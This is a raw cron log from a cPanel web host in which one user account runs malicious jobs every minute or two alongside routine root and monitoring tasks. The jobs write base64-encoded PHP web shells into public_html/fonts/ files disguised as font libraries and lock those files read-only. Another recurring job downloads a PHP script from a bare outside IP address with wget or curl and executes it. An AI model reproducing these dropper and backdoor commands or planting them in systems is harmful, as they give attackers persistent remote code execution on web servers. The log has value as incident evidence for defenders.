Aug 31 03:47:01 ip-184-168-122-23 CROND[22699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:48:01 ip-184-168-122-23 CROND[22813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:48:01 ip-184-168-122-23 CROND[22818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:48:01 ip-184-168-122-23 CROND[22816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:48:01 ip-184-168-122-23 CROND[22817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:48:01 ip-184-168-122-23 CROND[22815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:49:01 ip-184-168-122-23 CROND[23012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:49:01 ip-184-168-122-23 CROND[23014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:49:01 ip-184-168-122-23 CROND[23013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:49:01 ip-184-168-122-23 CROND[23015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:50:01 ip-184-168-122-23 CROND[23126]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:50:01 ip-184-168-122-23 CROND[23127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:50:01 ip-184-168-122-23 CROND[23131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:50:01 ip-184-168-122-23 CROND[23132]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 03:50:01 ip-184-168-122-23 CROND[23135]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:50:01 ip-184-168-122-23 CROND[23133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:50:01 ip-184-168-122-23 CROND[23136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:50:01 ip-184-168-122-23 CROND[23139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:50:01 ip-184-168-122-23 CROND[23134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:51:01 ip-184-168-122-23 CROND[23253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:51:01 ip-184-168-122-23 CROND[23255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:51:01 ip-184-168-122-23 CROND[23257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:51:01 ip-184-168-122-23 CROND[23256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:52:01 ip-184-168-122-23 CROND[23341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:52:01 ip-184-168-122-23 CROND[23344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:52:01 ip-184-168-122-23 CROND[23343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:52:01 ip-184-168-122-23 CROND[23346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:52:01 ip-184-168-122-23 CROND[23345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:53:01 ip-184-168-122-23 CROND[23464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:53:01 ip-184-168-122-23 CROND[23465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:53:01 ip-184-168-122-23 CROND[23466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:53:01 ip-184-168-122-23 CROND[23463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:54:01 ip-184-168-122-23 CROND[23644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:54:01 ip-184-168-122-23 CROND[23647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:54:01 ip-184-168-122-23 CROND[23649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:54:01 ip-184-168-122-23 CROND[23651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:54:01 ip-184-168-122-23 CROND[23652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:55:01 ip-184-168-122-23 CROND[23791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:55:01 ip-184-168-122-23 CROND[23795]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:55:01 ip-184-168-122-23 CROND[23794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:55:01 ip-184-168-122-23 CROND[23793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:55:01 ip-184-168-122-23 CROND[23796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:55:01 ip-184-168-122-23 CROND[23797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:56:01 ip-184-168-122-23 CROND[23920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:56:01 ip-184-168-122-23 CROND[23921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:56:01 ip-184-168-122-23 CROND[23925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:56:01 ip-184-168-122-23 CROND[23923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:56:01 ip-184-168-122-23 CROND[23924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:57:01 ip-184-168-122-23 CROND[24036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:57:01 ip-184-168-122-23 CROND[24038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:57:01 ip-184-168-122-23 CROND[24039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:57:01 ip-184-168-122-23 CROND[24040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:58:01 ip-184-168-122-23 CROND[24148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:58:01 ip-184-168-122-23 CROND[24151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:58:01 ip-184-168-122-23 CROND[24154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:58:01 ip-184-168-122-23 CROND[24152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:58:01 ip-184-168-122-23 CROND[24153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:59:01 ip-184-168-122-23 CROND[24354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:59:01 ip-184-168-122-23 CROND[24356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:59:01 ip-184-168-122-23 CROND[24360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:59:01 ip-184-168-122-23 CROND[24361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:00:01 ip-184-168-122-23 CROND[24466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
